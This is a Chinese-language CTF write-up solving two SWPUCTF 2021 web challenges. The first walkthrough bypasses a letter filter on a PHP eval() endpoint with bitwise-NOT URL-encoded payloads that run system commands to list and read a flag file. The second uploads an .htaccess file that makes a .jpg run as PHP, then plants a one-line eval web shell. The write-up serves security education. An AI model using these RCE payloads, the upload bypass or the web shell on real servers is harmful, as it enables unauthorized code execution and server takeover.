NSSCTF-Web题目4

目录

[SWPUCTF 2021 新生赛]hardrce

1、题目

2、知识点

3、解题思路

[SWPUCTF 2021 新生赛]easyupload3.0

1、题目

2、知识点

3、解题思路


[SWPUCTF 2021 新生赛]hardrce

1、题目

2、知识点

rce:远程代码执行、url取反编码

3、解题思路

打开题目

出现一段代码,审计源代码

题目需要我们通过get方式输入变量wllm的值

但是变量的值被过滤了,不能输入字母和\t、\n等值

所以我们需要绕过这些过滤

源代码有eval函数,说明存在rce(远程代码执行漏洞),我们可以构造系统执行命令获取服务器的数据

eval()

通过查看wp,我们可以对输入的内容,先取反,再进行url编码,然后再进行取反传给服务器端

这里为什么要进行取反呢?

因为取反后再编码的数据不会被识别为字母,且没有那些被过滤的字符

~ 就是取反符号

例如

我们可以先构造phpinfo()尝试是否可以实现

执行php代码我是在网上找了一个在线工具,url如下

PHP 在线工具 | 菜鸟工具 (jyshare.com)

编码

<?php
echo urlencode(~'phpinfo');
?>

将编码后的值再取反传给wllm

http://node5.anna.nssctf.cn:26911/?wllm=(~%8F%97%8F%96%91%99%90)();

结果正常执行,说明这种方式可以绕过。

接下来因为有eval函数,我们可以构造系统执行命令进行执行

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

php执行系统命令,需要使用好system这个函数

http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

可以看到有flllllaaaaaaggggggg这个文件

使用cat命令

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

得到flag NSSCTF{99f12d58-f315-4e8d-a69d-ba2572aaf510}


[SWPUCTF 2021 新生赛]easyupload3.0

1、题目

2、知识点

文件上传绕过,.htaccess文件的利用

3、解题思路

打开题目,是一道文件上传的题目,我们先上传一个文件,并抓包看看

是一个apache服务

尝试改后缀,发现绕过不了

这里使用了apache服务,可以采用.htaccess文件进行绕过

我们可以上传一个.htaccess文件,内容如下

<FilesMatch "abc.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这段代码的作用是将abc.jpg文件当成php文件执行,abc.jpg是我们自己构造上传的,可以根据自己需要命令

将.htaccess文件上传后我们就上传abc.jpg文件,内容为一句话木马

<?php

@eval($_POST['cmd']);

?>

上传完成功后使用蚁剑进行连接

连接成功后可以看到服务器的文件,在html文件夹下可以看到flag.php文件,打开得到flag

NSSCTF{bf0e1c22-b359-4868-94bb-ccc79a7501bf}


这篇文章就先写到这里了,哪里不足的欢迎批评指正

  • 19
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值